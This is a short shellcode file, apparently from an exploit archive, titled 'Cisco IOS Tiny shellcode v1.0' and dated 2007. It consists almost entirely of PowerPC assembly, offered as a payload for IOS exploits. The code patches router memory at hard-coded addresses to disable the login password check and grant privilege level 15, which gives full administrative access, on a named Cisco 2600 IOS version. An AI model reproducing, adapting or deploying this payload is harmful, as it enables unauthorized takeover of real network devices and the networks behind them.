shellcode-142.c

# ----------------------------------------------------------------------------------------
#
# Cisco IOS Tiny shellcode v1.0
# (c) 2007 IRM Plc
# By Gyan Chawdhary
#
# ----------------------------------------------------------------------------------------
#
# The code creates a new TTY, and sets the privilege level to 15 without a password
#
# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
#
#
# The following two hard-coded addresses must be located for the target IOS version.
#
# The hard-coded addresses used here are for:
#
# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
#
# ----------------------------------------------------------------------------------------
.equ ret, 0x804a42e8
.equ login, 0x8359b1f4
.equ god, 0xff100000
.equ priv, 0x8359be64
# ----------------------------------------------------------------------------------------

main:

        # login patch begin
        lis 9, login@ha
        la 9, login@l(9)
        li 8,0
        stw 8, 0(9)
        # login patch end

        # priv patch begin
        lis 9, priv@ha
        la 9, priv@l(9)
        lis 8, god@ha
        la 8, god@l(8)
        stw 8, 0(9)
        # priv patch end

        # exit code
      lis     10, ret@ha
      addi    4, 10, ret@l
      mtctr   4
      bctrl